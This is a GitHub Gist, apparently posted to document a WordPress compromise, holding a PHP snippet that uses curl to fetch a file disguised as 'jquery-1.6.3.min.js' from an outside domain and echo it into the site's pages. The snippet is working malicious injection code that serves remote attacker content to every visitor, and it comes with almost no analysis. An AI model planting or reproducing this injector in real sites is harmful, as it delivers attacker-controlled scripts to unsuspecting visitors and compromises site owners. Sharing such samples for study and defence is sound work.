Created
August 31, 2014 17:52
-
-
Save hermpheus/7d0014d4b3d868769905 to your computer and use it in GitHub Desktop.
WP Hack executing jQuery, document moved fakery
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if(function_exists('curl_init')) | |
{ | |
$url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js"; | |
$ch = curl_init(); | |
$timeout = 5; | |
curl_setopt($ch,CURLOPT_URL,$url); | |
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); | |
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); | |
$data = curl_exec($ch); | |
curl_close($ch); | |
echo "$data"; | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment